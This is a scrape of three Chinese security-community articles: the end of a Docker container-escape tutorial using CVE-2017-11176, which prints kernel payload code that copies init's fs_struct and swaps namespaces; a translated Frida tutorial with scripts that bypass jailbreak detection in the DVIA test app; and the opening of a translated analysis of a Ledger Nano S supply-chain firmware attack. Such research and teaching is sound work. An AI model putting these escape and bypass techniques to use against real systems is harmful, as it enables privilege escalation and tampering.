linux16 /vmlinuz-3.10.0-327-generic root=UUID=e1fba75c-a2c9-4f39-9446-34a78704a68e ro acpi=off quiet LANG=en_US.UTF-8 kgdbwait kgdb8250=io,03f8,ttyS0,115200,4 kgdboc=ttyS0,115200 kgdbcon
initrd16 /boot/initrd.img-3.10.0-327-generic
}
要想在调试中关闭kaslr可以加上nokaslr,要想在本次调试中关闭smep可以加上nosmep,要想在本次调试中关闭smap可以加上nosmap,要想在本次调试中关闭KPTI可以加上nopti
kgdbwait kgdb8250=io,03f8,ttyS0,115200,4 kgdboc=ttyS0,115200 kgdbcon nokaslr nosmep nosmap nopti
复制粘贴修改保存好后执行
sudo grub2-mkconfig -o /boot/grub2/grub.cfg
### 2.4 虚拟机设置
#### 2.4.1 host & target
将安装好指定内核，指定内核符号包以及指定内核源码包的虚拟机复制一份，一份作为host,一份作为target,之后在target上执行exp,在host上对target进行调试
在host上添加串行端口
-移除打印机，添加串行端口，管道名//./pipe/com_1,该端是客户端，另一端是虚拟机
在target上添加串行端口
-移除打印机，添加串行端口，管道名//./pipe/com_1,该端是服务器端，另一端是虚拟机
#### 2.4.2 开始调试
1.先正常启动host
2.再启动target,不过启动的时候需要在grub时选择我们之前在/etc/grub.d/40_custom添加的调试内核，它正常会显示在grub选择中的,选择好后，target会显示等待附加调试界面
3.在host的shell中执行以下gdb命令附加target调试
gdb -s /usr/lib/debug/lib/modules/3.10.0-327.el7.x86_64/vmlinux
set architecture i386:x86-64:intel
add-symbol-file /usr/lib/debug/lib/modules/3.10.0-327.el7.x86_64/vmlinux 0xffffffff81000000
set serial baud 115200
target remote /dev/ttyS0 nsproxy;
以上步骤就完成了内核环境搭建，下面开始进入正题，利用内核漏洞进行Docker逃逸。
## 3 利用内核漏洞进行Docker逃逸
本文使用的内核漏洞为CVE-2017-11176,这个漏洞网上有很多人分析过了，在利用它进行docker逃逸前提是已经将这个漏洞适配到当前的系统中，即能成功提权。本文不关注内核漏洞的利用，默认已经适配成功。
本文的Docker容器逃逸测试环境是：
虚拟机：vmware workstation 16
linux发行版：Centos 7.2.1511 2个CPU 2G内存
linux内核(使用uname -r查看)：3.10.0-327.el7.x86_64
Docker(最新版)：20.10.7
使用的Linux内核漏洞:CVE-2017-11176
### 3.1 安装最新版的Docker
1.安装工具
sudo yum install -y yum-utils device-mapper-persistent-data lvm2
2.设置阿里镜像，访问速度更快一些
sudo yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
3.更新yum缓存
sudo yum makecache fast
4.查看可用的社区版
yum list docker-ce --showduplicates | sort -r
5.安装指定版本的docker,选择最新版
sudo yum install -y docker-ce-20.10.7-3.el7
6.关闭防火墙
systemctl disable firewalld
systemctl stop firewalld
7.设置docker开机自启动
systemctl start docker
systemctl enable docker
8.查看docker版本
$ docker version
Client: Docker Engine - Community
Version: 20.10.7
API version: 1.41
Go version: go1.13.15
Git commit: f0df350
Built: Wed Jun 2 11:58:10 2021
OS/Arch: linux/amd64
Context: default
Experimental: true
Server: Docker Engine - Community
Engine:
Version: 20.10.7
API version: 1.41 (minimum version 1.12)
Go version: go1.13.15
Git commit: b0f5bc3
Built: Wed Jun 2 11:56:35 2021
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.4.6
GitCommit: d71fcd7d8303cbf684402823e425e9dd2e99285d
runc:
Version: 1.0.0-rc95
GitCommit: b9ee9c6314599f1b4a7f497e1f1f856fe433d3b7
docker-init:
Version: 0.19.0
GitCommit: de40ad0
### 3.2 逃逸开始
#### 3.2.1 获得了"root"
先创建并启动一个容器
# docker run --restart=always -it --name=docker_escape centos:latest /bin/bash
Unable to find image 'centos:latest' locally
latest: Pulling from library/centos
7a0437f04f83: Pull complete
Digest: sha256:5528e8b1b1719d34604c87e11dcd1c0a20bedf46e83b5632cdeac91b8c04efc1
Status: Downloaded newer image for centos:latest
[root@f165d7d75c72 /]#
将漏洞利用程序复制到容器中
# docker cp exploit f165d7d75c72:/tmp
在容器内创建一个普通权限的用户test,然后执行漏洞利用程序
[root@f165d7d75c72 /]# adduser test
[root@f165d7d75c72 /]# su test
[test@f165d7d75c72 /]$ cd tmp/
[test@f165d7d75c72 /]$ ./exploit
在执行完漏洞利用程序后，我们获得了root shell
我们确实在容器内从普通权限提升到了root权限，但是这和宿主机里的root权限是一样的么？
我们查看一下进程列表以及尝试打印/home/test目录下的内容
很明显我们没有获得宿主机的root权限，我们依旧被困在了容器内。这是为什么呢？
#### 3.2.2 替换fs_struct结构
目前我们的漏洞利用程序里只是获取了root权限
static void getroot(void)
{
commit_creds(prepare_kernel_cred(NULL));
}
这个root权限还只是限制在容器内。
让我们看看Linux kernel 内管理进程的结构task_struct
struct task_struct {
/* ... */
/*
* Pointers to the (original) parent process, youngest child, younger sibling,
* older sibling, respectively. (p->father can be replaced with
* p->real_parent->pid)
*/
/* Real parent process: */
struct task_struct __rcu *real_parent;
/* Recipient of SIGCHLD, wait4() reports: */
struct task_struct __rcu *parent;
/* ... */
/* Filesystem information: */
struct fs_struct *fs;
/* ... */
}
可以看到有一个struct fs_struct *fs结构指针，它的描述为Filesystem information。再看看struct
fs_struct的内容
struct fs_struct {
int users;
spinlock_t lock;
seqcount_t seq;
int umask;
int in_exec;
struct path root, pwd;
} __randomize_layout;
这个结构中的struct path root, pwd就是代表当前进程的根目录以及工作目录。
task_struct->fs 存放着进程根目录以及工作目录，而我们能够用 task_struct->real_parent 回溯取得父进程的
task_struct，我们不断往上回溯，直到找到定位到pid=1的进程，也就是当前这个容器在宿主机中的初始进程，把这个初始进程的fs_struct复制到我们的利用程序进程，就可以将我们的漏洞利用进程的根目录设置到宿主机中了！
代码体现如下
static void getroot(void)
{
commit_creds(prepare_kernel_cred(NULL));//将当前进程设置为root权限
void * userkpid = find_get_pid(userpid);
struct task_struct *mytask = pid_task(userkpid,PIDTYPE_PID);//获取当前进程的task_struct结构体
//循环编译task_struct链，找到pid=1的进程的task_struct的结构体
char *task;
char *init;
uint32_t pid_tmp = 0;
task = (char *)mytask;
init = task;
while (pid_tmp != 1) {
init = *(char **)(init + TASK_REAL_PARENT_OFFSET);
pid_tmp = *(uint32_t *)(init + TASK_PID_OFFSET);
}
//将pid=1的task struct的fs_struct结构复制为当前进程的fs_struct
*(uint64_t *)((uint64_t)mytask + TASK_FS_OFFSET) = copy_fs_struct(*(uint64_t *)((uint64_t)init + TASK_FS_OFFSET));
}
用 while循环不断回溯task_struct->real_parent找到Init process，之后调用copy_fs_struct函数把
fs_struct复制到漏洞利用进程，就能进入宿主机的目录了。
在漏洞利用程序中添加完上面的代码，我们再一次执行漏洞利用程序。
显然我们已经跑到宿主机中来了，已经实现了容器逃逸。本文基本到此结束了。
关机下班！但是当我们准备执行shutdown -h now命令时，发现找不到shutdown命令。
从图中可以看到我们也无法kill掉任何进程，也无法执行一些命令。虽然我们已经逃逸成功了，但是出现的这些小问题又是什么原因导致的呢？
shutdown找不到可以理解，shutdown是在/sbin目录下，这里是环境变量没有设置的原因，所以找不到shutdown，可以通过/sbin/shutdown直接执行。
#### 3.2.3 突破namesapce
Linux 容器利用了 Linux 命名空间的基本虚拟化概念。命名空间是 Linux 内核的一个特性，它在操作系统级别对内核资源进行分区。Docker
容器使用 Linux 内核命名空间来限制任何用户（ **包括 root** ）直接访问机器的资源。
有没有可能是因为namespace限制的呢？如果是namespace的原因，那有没有办法改变漏洞利用进程的namespace呢？
通过查找资料，找到了一种切换namespace的方案。
命名空间在内核里被抽象成为一个数据结构 struct nsproxy， 其定义如下
struct nsproxy {
atomic_t count;
struct uts_namespace *uts_ns;
struct ipc_namespace *ipc_ns;
struct mnt_namespace *mnt_ns;
struct pid_namespace *pid_ns_for_children;
struct net *net_ns;
struct time_namespace *time_ns;
struct time_namespace *time_ns_for_children;
struct cgroup_namespace *cgroup_ns;
};
在task_struct结构中，存在一项struct nsproxy *nsproxy指向当前进程所属的namespace。
struct task_struct {
......
/* namespaces */
struct nsproxy *nsproxy;
......
}
与上一节替换fs_struct结构相似，我们需要想办法替换这个结构。
系统初始化时，会初始化一个全局的命名空间， **init_nsproxy** 。替换方案就是将漏洞利用进程的nsproxy替换为init_nsproxy。
代码体现如下
static void getroot(void)
{
commit_creds(prepare_kernel_cred(NULL));//将当前进程设置为root权限
void * userkpid = find_get_pid(userpid);
struct task_struct *mytask = pid_task(userkpid,PIDTYPE_PID);//获取当前进程的task_struct结构体
//循环编译task_struct链，找到pid=1的进程的task_struct的结构体
char *task;
char *init;
uint32_t pid_tmp = 0;
task = (char *)mytask;
init = task;
while (pid_tmp != 1) {
init = *(char **)(init + TASK_REAL_PARENT_OFFSET);
pid_tmp = *(uint32_t *)(init + TASK_PID_OFFSET);
}
//将pid=1的task struct的fs_struct结构复制为当前进程的fs_struct
*(uint64_t *)((uint64_t)mytask + TASK_FS_OFFSET) = copy_fs_struct(*(uint64_t *)((uint64_t)init + TASK_FS_OFFSET));
//切换当前进程的namespace为pid=1的进程的namespace
unsigned long long g = find_task_by_vpid(1);
switch_task_namespaces(( void *)g, (void *)INIT_NSPROXY);
long fd_mnt = do_sys_open( AT_FDCWD, "/proc/1/ns/mnt", O_RDONLY, 0);
setns( fd_mnt, 0);
long fd_pid = do_sys_open( AT_FDCWD, "/proc/1/ns/pid", O_RDONLY, 0);
setns( fd_pid, 0);
}
上述替换namespace的代码部分,就是先将容器中pid=1的进程的namespace用switch_task_namespaces函数替换为init_nsproxy，之后漏洞程序进程再执行setns函数加入pid=1的进程的namespace，相当于加入init_nsproxy。
switch_task_namespaces函数代码如下
void switch_task_namespaces(struct task_struct *p, struct nsproxy *new)
{
struct nsproxy *ns;
might_sleep();
task_lock(p);
ns = p->nsproxy;
p->nsproxy = new;
task_unlock(p);
if (ns)
put_nsproxy(ns);
}
switch_task_namespaces这个函数就是将参数一struct task_struct
*p的namespace修改为参数二传进来的namespace。
在漏洞利用程序中添加完上面的代码，我们再一次执行漏洞利用程序。
当梦想照进现实，你满怀期待迎接阳光，现实却给你泼了一滩冰水。
很遗憾，没有成功突破namesapce。:(
是什么原因呢？我修改上述漏洞程序代码
static void getroot(void)
{
commit_creds(prepare_kernel_cred(NULL));//将当前进程设置为root权限
void * userkpid = find_get_pid(userpid);
struct task_struct *mytask = pid_task(userkpid,PIDTYPE_PID);//获取当前进程的task_struct结构体
//循环编译task_struct链，找到pid=1的进程的task_struct的结构体
char *task;
char *init;
uint32_t pid_tmp = 0;
task = (char *)mytask;
init = task;
while (pid_tmp != 1) {
init = *(char **)(init + TASK_REAL_PARENT_OFFSET);
pid_tmp = *(uint32_t *)(init + TASK_PID_OFFSET);
}
//将pid=1的task struct的fs_struct结构复制为当前进程的fs_struct
*(uint64_t *)((uint64_t)mytask + TASK_FS_OFFSET) = copy_fs_struct(*(uint64_t *)((uint64_t)init + TASK_FS_OFFSET));
//切换当前进程的namespace为pid=1的进程的namespace
unsigned long long g = find_task_by_vpid(userpid);
switch_task_namespaces(( void *)g, (void *)INIT_NSPROXY);
}
直接切换当前进程的namespace。并且在漏洞程序完成利用从内核退出时通过命令ls /proc/$(userpid)/ns
-lia打印当前进程的namespace,将结果与宿主机中高权限进程的namespace对比。
可以看到，我们成功替换了namespace。
继续在漏洞程序完成利用从内核退出时通过命令ls /home/test打印目录内容，发现可以看到宿主机的文件，说明我们逃逸成功了
继续在漏洞程序完成利用从内核退出时通过命令kill -9
pid尝试kill掉某个我们事先已知的进程，测试发现我们也可以成功kill掉，说明我们成功突破了namespace。
只是在漏洞程序结尾时调用execve弹root shell时会失败，暂时不能弹出一个方便操作的root shell。
虽然我这边没有成功弹出一个方便的root
shell，原因暂时没有分析出来，但这个思路是可行的。查阅资料时有人在ubuntu上测试成功了，估计和我测试时的操作系统有关，需要进一步分析。
### 3.3 一般步骤
经过上述的一系列尝试，我们可以总结一下利用内核漏洞进行容器逃逸的一般步骤。
1.使用内核漏洞进入内核上下文 2.获取当前进程的task struct 3.回溯task list 获取pid=1的task
struct，复制其fs_struct结构数据为当前进程的fs_struct。fs_struct结构中定义了当前进程的根目录和工作目录。
4.切换当前namespace。Docker使用了Linux内核名称空间来限制用户(包括root)直接访问机器资源。 5.打开root shell，完成逃逸
## 4 结语
本文介绍了利用Linux内核漏洞进行Docker容器逃逸，使用的漏洞是CVE-2017-11176,在最新版的docker上逃逸成功了。虽然在突破namespace的限制时遇到了一点小问题，但本次基本实现了利用Linux内核漏洞完成Docker容器逃逸，希望这篇文章给能大家带来一些帮助。
## 5 参考链接
<https://teamt5.org/tw/posts/container-escape-101/>
<https://www.cyberark.com/resources/threat-research-blog/the-route-to-root-container-escape-using-kernel-exploitation>
* * * | 社区文章 |
# 【技术分享】如何使用Frida绕过iOS应用的越狱检测
|
##### 译文声明
本文是翻译文章，文章来源：attify.com
原文地址：<http://blog.attify.com/2017/05/06/bypass-jailbreak-detection-frida-ios-applications/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[ **興趣使然的小胃**](http://bobao.360.cn/member/contribute?uid=2819002922)
**预估稿费：180RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
在这篇文章中，我们将向读者介绍[
**Frida**](https://www.frida.re/)的一些相关知识。Frida是移动应用安全分析中的一个非常有趣的工具。
即使你从来没有用过Frida，你也可以将这篇文章作为使用Frida开展移动应用安全研究和探索的指南。
这篇文章主要包含以下内容：
**1、Frida简介**
**2、如何在iOS上配置Frida**
**3、如何使用Frida连接到某个iOS进程**
**4、如何导出类和方法信息**
**5、如何使用Frida操控正在运行的iOS应用**
**6、总结**
**二、Frida简介**
Frida是一个跨平台的动态代码注入工具集，你可以使用它hook应用程序，插入自己的JavaSciprt代码，同时也能获取应用的内存和函数的完全访问权限。
Frida由Ole André V. Ravnås（[
**@oleavr**](https://twitter.com/oleavr)）所开发，有个非常活跃的IRC（Internet Relay
Chat，互联网中继聊天）频道与之相关，你可以在这个频道中与其他Frida爱好者探讨思路、问题以及工具的新功能。IRC频道为irc.freenode.net上的#frida频道。
根据具体的使用需求，Frida的一些应用场景为：
1、Hook某个函数，修改返回值。
2、分析自定义协议，嗅探或解密实时流量。
3、调试自己的应用程序。
4、导出iOS应用的类和方法信息。
5、其他应用场景。
我之所以提到“5、其他应用场景”，是因为我们可以将Frida用于各种用途。Frida提供的API功能非常强大，是构建自己的安全或分析工具的首选方案。现在已经有几种工具以Frida为基础，比如[
**Needle**](https://github.com/mwrlabs/needle)以及[
**AppMon**](https://github.com/dpnishant/appmon)等。
Firda的其他应用场景中就包括它可以在非越狱设备上工作，这一点非常有用。为了在非越狱设备上运行Frida调试应用程序，我们需要使用诸如Swizzler2的工具修改应用程序，将FridaGadget
dylib添加到应用程序中。
**三、在iOS上配置Frida**
只需要简单几步，我们就能配置Frida分析iOS应用的安全性。我们需要在iOS设备以及主机上进行配置。
为了在iOS设备上安装Frida，我们需要按照以下步骤操作：
1、在iOS设备上打开Cydia应用。
2、添加源，地址为“https://build.frida.re/”
3、进入已添加的源，搜索“Frida”，点击“Modify”然后安装。
要在主机上安装Frida，我们需要启动控制台，输入“pip install frida”命令，安装Frida程序。
**四、使用Frida连接iOS进程**
Frida安装完毕后，现在我们已经准备就绪，可以开始使用Frida评估iOS应用的安全性的可利用性。
我们的目标应用是Prateek Gianchandani开发的DVIA（Damn Vulnerable Ios
Application，这个应用专门用于iOS平台的渗透测试）iOS应用。本文中用到的脚本大多数都可以在Interference
Security的Github代码库中找到。
我们将要分析的是DVIA提供的越狱检测功能，如下所示，该应用提示设备目前处于越狱状态：
我们可以先看一下目标设备当前运行的进程列表，命令如下：
frida-ps –U
从上图中，我们可以了解到iOS设备当前正在运行的所有进程。
我们可以使用“frida –U process-name”命令，将Frida附加到任意一个进程上，命令执行成功后我们将会跳转到Frida控制台中，可以访问目标进程的所有属性、内存内容以及函数功能。
我们可以使用Frida的shell与目标进程交互，也可以编写自己的JavaScrpt代码，获取需要分析的数据。
**五、导出iOS应用的类和方法信息**
对于DVIA的越狱检测功能而言，我们的目标是确定哪个ViewController和函数负责检测设备的越狱状态。
首先，我们可以写个基本的Frida脚本，导出目标应用中的所有类和方法，从中找到与越狱有关的所有内容，以便在Frida的帮助下绕过应用的越狱检测。
我们的工作流程如下所示：
**六、使用Frida找出DVIA中负责越狱检测的类**
首先我们先找出应用中的所有类。
for (var className in ObjC.classes)
{
if (ObjC.classes.hasOwnProperty(className))
{
console.log(className);
}
}
运行脚本，将Frida附加到目标进程中（如下图所示），我们可以从运行结果中，找到目标进程的所有类。
我们最好通过grep命令搜索目标类，在本文的案例中，我们可以使用“Jailbreak”这个关键词。
通过关键词搜索，我们定位到一个名为“JailbreakDetectionVC”的类，如下图所示：
找到所有实例后，你可能会看到一个错误提示，忽略这个提示即可。
现在我们已经找到目标类，接下来我们可以探索这个类中的关键函数。
**七、使用Frida找出DVIA中负责越狱检测的方法**
为了查找类方法，我们需要使用Frida提供的“ObjC.classes.class-name.$methods”方法。在本文案例中，我们只需要查找“JailbreakDetectionVC”类中的方法即可。
console.log("[*] Started: Find All Methods of a Specific Class");
if (ObjC.available)
{
try
{
var className = "JailbreakDetectionVC";
var methods = eval('ObjC.classes.' + className + '.$methods');
for (var i = 0; i < methods.length; i++)
{
try
{
console.log("[-] "+methods[i]);
}
catch(err)
{
console.log("[!] Exception1: " + err.message);
}
}
}
catch(err)
{
console.log("[!] Exception2: " + err.message);
}
}
else
{
console.log("Objective-C Runtime is not available!");
}
console.log("[*] Completed: Find All Methods of a Specific Class");
运行这个脚本，使用grep命令查找类似“Jailbreak”、“Jailbroken”、“Detection”之类的关键词，如下图所示：
根据这些关键词，我们找到了三个方法，分别为“isJailbroken”、“jailbreakTest1Tapped:”以及“jailbreakTest2Tapped:”。
对于本文案例，“isJailbroken”看上去更像是检测设备是否越狱的方法。
**八、使用Frida修改DVIA中负责越狱检测方法的返回值**
现在我们可以分析“isJailbroken”方法究竟发送了什么类型的返回值。
if (ObjC.available)
{
try
{
var className = "JailbreakDetectionVC";
var funcName = "- isJailbroken";
var hook = eval('ObjC.classes.' + className + '["' + funcName + '"]');
Interceptor.attach(hook.implementation, {
onLeave: function(retval) {
console.log("[*] Class Name: " + className);
console.log("[*] Method Name: " + funcName);
console.log("t[-] Type of return value: " + typeof retval);
console.log("t[-] Return Value: " + retval);
}
});
}
catch(err)
{
console.log("[!] Exception2: " + err.message);
}
}
else
{
console.log("Objective-C Runtime is not available!");
}
运行这个脚本，点击iOS应用中的“Jailbreak Test 1”按钮，之后我们就可以在Frida控制台中看到函数的返回值。
由于我们的设备已越狱，我们获得的返回值为0x1，表明函数的返回结果为True。
接下来我们的任务是覆盖这个返回值，修改这个方法，使得不管什么时候我们点击应用中的“Jailbreak Test
1”按钮，函数的返回值始终为false（即0x0）。
我们只需要添加一行代码，就可以修改这个函数的返回值。
我们可以通过如下代码，修改函数的返回值，并将返回值反馈到控制台中：
newretval = ptr("0x0")
retval.replace(newretval)
console.log("t[-] New Return Value: " + newretval)
最终的脚本如下所示：
if (ObjC.available)
{
try
{
var className = "JailbreakDetectionVC";
var funcName = "- isJailbroken";
var hook = eval('ObjC.classes.' + className + '["' + funcName + '"]');
Interceptor.attach(hook.implementation, {
onLeave: function(retval) {
console.log("[*] Class Name: " + className);
console.log("[*] Method Name: " + funcName);
console.log("t[-] Type of return value: " + typeof retval);
console.log("t[-] Original Return Value: " + retval);
newretval = ptr("0x0")
retval.replace(newretval)
console.log("t[-] New Return Value: " + newretval)
}
});
}
catch(err)
{
console.log("[!] Exception2: " + err.message);
}
}
else
{
console.log("Objective-C Runtime is not available!");
}
运行这个脚本，我们可以在控制台中看到函数的返回值已经被成功修改：
回头看看这个iOS应用，你会发现应用提示设备处于未越狱状态，如下所示：
**九、总结**
这就是本文的全部内容。在接下来的文章中，我们会向大家介绍Frida脚本语言的详细知识，以及如何利用Frida的API函数和其他工具对iOS和Android应用的安全性进行评估。 | 社区文章 |
# 攻破Ledger比特币硬件钱包的安全模型
##### 译文声明
本文是翻译文章，文章原作者 Saleem Rashid，文章来源：saleemrashid.com
原文地址：<https://saleemrashid.com/2018/03/20/breaking-ledger-security-model/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在这篇文章中，我主要讨论我在Ledger硬件钱包中发现的一个漏洞。由于Ledger使用了自定义的体系结构对其安全元素进行了相应限制，所以才导致该漏洞的存在。
攻击者可以利用这一漏洞，在用户接收比特币之前对设备进行破坏，或者以物理等方式远程从设备中获取私钥。
### 在设置种子之前进行物理访问
该方式也被称为“供应链攻击”，是本文主要讨论的内容。该攻击方式不需要目标计算机上具有任何恶意软件，也不需要目标用户点击确认任何事务。尽管有一些其他的限制条件，但我已经成功在一台真正的Ledger
Nano上演示了此种攻击方法。此外，我在几个月前已经将相关源代码发送给Ledger，以便他们能够重现这一问题。
<https://saleemrashid.com/assets/ledger-exploit-73ac411c441ba7fdea0d567237ca7f7b1e0e91fa8a2b2230eae5fc1dc90a3611.mp4>
从上面的视频可以看出，对生成的恢复种子（Recovery
Seed）执行供应链攻击以修改的方式并不困难。因为所有的私钥都是由恢复种子生成的，所以攻击者可以借此窃取到任何设备上的资金。
### 安装后的物理访问
这通常被称为“邪恶女佣攻击（Evil Maid
Attack）”。通过这种方式，只要该设备在攻击后被使用过一次，攻击者便可以提取PIN码、恢复种子，以及使用任何BIP-39口令。
和上一种方案一样，不需要预先在计算机上安装恶意软件，同样也不需要用户进行任何确认。只需要攻击者安装一个自定义的MCU固件，就能在用户下一次使用的时候，在用户不知情的情况下取得私钥。
### 恶意软件（包含社会工程学）
这种攻击要求用户更新受感染计算机上的MCU固件。具体可以通过显示错误消息来实现，该消息要求用户通过按住左侧按钮来重新连接设备（以进入MCU引导程序）。随后，恶意软件就可以使用恶意代码对MCU进行更新，允许恶意软件控制设备上的显示内容以及确认按钮。
如果在官方的固件更新发布时利用这种攻击方式，就会变得非常有迷惑性，在撰写本文的两周前就发生过这样的攻击。
## PoC
如果你想错过自己开发漏洞利用方式的乐趣，可以在Github上找到我的PoC：<https://github.com/saleemrashid/ledger-mcu-backdoor> 。
大家可以根据里面的说明进行操作，将其安装在运行固件1.3.1或更低版本的Ledger Nano
S上，即可重现上述视频中的攻击。然而，由于该PoC只用于教学目的，因此我故意将该攻击调整得不太可靠。
## 硬件钱包的背景介绍
像比特币这样的加密货币，会使用公钥密码来保护资金的安全。只有持有私钥的用户才可以合法使用所拥有的资金。
这样一来，就给用户带来了一个问题：用户应该如何保护他们的私钥？大家知道，人类在保护机密和设备安全的这一方面非常脆弱，甚至连安全专家都不是绝对可靠的。
为了解决这一问题，目前已经发明了一类名为“硬件钱包”的设备。顾名思义，这些硬件设备可以存储用户的私钥，以防范恶意软件。有很多此类设备都是通过USB的方式连接到PC，但并不会泄露PC的私钥，就像硬件安全模块（HSM）一样。
然而，获取私钥并不是攻击者窃取比特币的唯一方式。攻击者还可以对交易的接受者和金额进行更改。如果该操作是在暗中进行的，那么大多数用户都不会意识到这种攻击的发生，直到发现时已经无法再收回自己的资金。
因此，硬件钱包与简单的硬件安全模块有所不同，它需要具有以下功能：
1、用于可视化验证交易信息的可信显示；
2、设备上的按键，用于确认或拒绝交易。
硬件钱包还需要防范各类攻击，其中包括：
1、远程攻击（当攻击者可以通过计算机上的恶意软件获取私钥时）；
2、供应链攻击（当攻击者可以在用户接收到信息前修改设备时）；
3、未经授权的物理访问攻击（当攻击者可以获得物理访问权限时）。
进一步，我们可以将最后一类攻击再细分成两类：盗窃设备和“邪恶女仆”攻击。如果攻击者可以窃取到设备，那么他们就有更长的时间来执行攻击，并可能会有权限访问到昂贵的实验室设备。然而，用户可能会发现自己的设备丢失，从而立即更换新的私钥，这样一来这种攻击方式便随之失效。
一些安全特性（如使用未存储在设备上的密码验证短语）可以防止攻击者窃取资金，因为设备目前不完全包含恢复私钥所必需的信息。
对于另一种攻击方式，如果采取“邪恶女仆”攻击，攻击者便只有有限的时间来执行攻击。由于这些攻击可以在多种场景下实现，因此会更加危险：
1、顾名思义，一个“邪恶女仆”可能会在酒店房间清洁时非法窃取设备；
2、在通过机场安检的过程中，设备可能会被短时间持有；
3、如果将设备委托给亲属或律师，可能会产生风险。
在本文的相关披露中，我们主要关注供应链攻击的情况，也就是说，当用户从经销商或第三方购买硬件钱包后，是否可以信任这个硬件钱包。但是，正如我在本文开头所简要解释的那样，这里描述的方法可以应用于其他两种攻击方式。
## 攻破结构
2014年9月，Ledger发布了HW.1。这个钱包基于ST23YT66，这是一款支持USB的智能卡。但不幸的是，该设备没有可信显示屏及按钮，这样就使得钱包在使用过程中非常危险。
2016年7月，Ledger推出名为Nano S的新设备，该设备基于ST31H320安全元件，同样采用USB连接方式，但包含了确认按钮和可信显示屏。
2017年11月，我开始认真研究Nano S的安全性。
尽管我目前还没有精力来研究最新的Ledger Blue，但其功能与Nano S相同。在撰写本文时，还没有发布任何固件更新来修复Ledger
Blue中的漏洞。
### 双芯片结构
尽管ST31H320（ <http://www.st.com/en/secure-mcus/st31h320.html>
）没有可用的公共数据表，但我们迅速地查看了数据摘要（
<http://www.st.com/resource/en/data_brief/st31h320.pdf>
），该安全元件不支持显示器，甚至它居然不支持USB。它所支持的唯一接口是较低吞吐量的UART。
为解决这一问题，Ledger开发了一种新的架构。Nano S增加了第二个非安全的微控制器（STM32F042K6，
<http://www.st.com/en/microcontrollers/stm32f042k6.html>
），由它来充当安全元件的代理。该处理器负责显示器、按钮和USB接口的驱动，并连接存储实际私钥的安全元件。
从现在开始，我们将ST31安全元件成为SE，将STM32微控制器称为MCU。架构图如下所示：
SE只能与MCU直接通信，但MCU却可以代表SE与外部设备进行通信。
安全元件的一个重要特性就是，我们可以执行加密证明，以确定它在运行真正的Ledger固件。这实际上是Ledger的一个亮点，Ledger认为这个安全功能非常强大，以至于Ledger钱包不需要防包装篡改（
<https://www.ledgerwallet.com/genuine> ）（archive.is / archive.org）。
Ledger的CTO甚至告诉用户，从eBay上购买是完全安全的。
这样就产生了关键的问题，虽然我们可以信任SE上的软件，但是MCU并不是安全的芯片，我们可以证明它的固件可以被攻击者替换。
在这里存在的问题是：如果要保证Ledger的安全，那么信任链必须要保存着SE中，这就意味着SE必须验证MCU上的固件。
### 硬件篡改
虽然本文将着重介绍软件篡改，但还是希望大家注意，如果没有软件漏洞存在，我们还是可以通过硬件篡改的方式来对设备进行漏洞利用。
为了保证设备绝对的安全，我们必须对物理硬件进行彻底的验证，这一点非常重要。
由于包装和实际设备都不能被用户明显地看到，因此攻击者对设备的修改行为也是隐蔽的，这里就在要强调验证物理硬件的重要性。
当存在有未经授权访问的风险时，也应该对硬件进行验证，否则很容易受到“邪恶女仆”类型的攻击。
Ledger提供了针对该攻击方式的指导说明（ <https://support.ledgerwallet.com/hc/en-us/articles/115005321449-How-to-verify-the-security-integrity-of-my-Nano-S->
），但我们注意到在说明中存在着两个问题：
1、这些图片的质量各不相同，Ledger需要提供能清晰展现每个组件的高分辨率图片；
2、并没有展现设备的反面细节。
验证设备反面的细节是非常重要的，特别是因为这是MCU的JTAG头（调试接口）所在的地方。
除了这两个问题之外，我还对于其中一个具有额外闪存（但引脚数相同）的MCU重新标记为STM32F042K6有所质疑。
尽管这一部分的内容非常重要，但我本文中所描述的攻击不需要硬件篡改。
### 验证MCU固件
假设用户已经仔细检查了固件，而且确信其没有被修改。但如果攻击者只是更改了MCU的固件，那么会发生什么呢？
Ledger考虑到这种攻击方式，并且为了防范此类情况，设定SE去验证MCU固件。
但事实证明，在非安全的处理器上验证固件并不是一件简单的事情。SE只是一个简单的智能卡，其与MCU通信的唯一方法就是通过一个低吞吐量的UART。那既然不能直接访问MCU上的RAM或闪存，SE如何验证其固件呢？
Ledger的方案是，SE要求MCU传输其闪存的全部内容，如下所示。
起初来看，这样的机制似乎有问题。从本质上，我们是在要求一个（有可能已经被攻陷的）MCU来证明它正在运行官方的Ledger固件。然而，如果单片机受到危害，那么是否有机制可以防范它发送不同的代码呢？这是Ledger试图解决的一大难题。
Ledger采用的理论基于这样的一个事实：MCU具有相对有限的闪存容量。如果要运行恶意固件，那么攻击者还需要存储官方Ledger固件，以便能够满足SE的要求。因此，Ledger
希望通过限制闪存量的方式来将这种利用方法变得困难。
具体而言，Ledger选择验证整个闪存，并用随机数据填充空白区域，这样就难以使得存储有恶意代码的MCU通过验证。
这是一个非常不错的想法，而且有可能会做到，但我完全不同意这个解决方案。
### 攻击模式
尽管有一些明显的方法，可以针对这样的设计发起攻击，例如通过USB的方式从连接的PC中传输恶意代码。但是，如果我们能尝试一种自包含的攻击（例如：供应链攻击），这样会更有趣。
我选择的方法是“压缩”代码。考虑到执行时间、内存使用量和代码大小之间的权衡，我们不可能使用诸如DEFLATE或LZMA之类的压缩算法。如果使用这些算法，用户就会发现他们的钱包在20秒后才能启动。
尽管压缩整个闪存空间的方案是可以实现的，但我并不想更换保存在闪存之中的MCU引导程序。其原因在于，有两种方法可以在设备上安装新固件：
1、使用JTAG，嵌入式固件开发人员所使用的调试接口可以上传新的固件；
2、使用引导加载程序（Bootloader），这也是Ledger用户用于安装固件更新的方法，大家可以在GitHub上找到由Ledger提供的Python工具（
<https://github.com/LedgerHQ/blue-loader-python/blob/9914b3746a3d784a0d7ca118096ddd383cb66141/ledgerblue/loadMCU.py> ）。
第二种方式也是我在使用的方法。但如果我在刷入新引导程序过程中出现错误，那么该方法将会失败，只能通过使用JTAG接口来恢复。
因此，更换引导加载程序（Bootloader）并不是一个合适的选项，我们必须排除掉不能用的压缩方案。
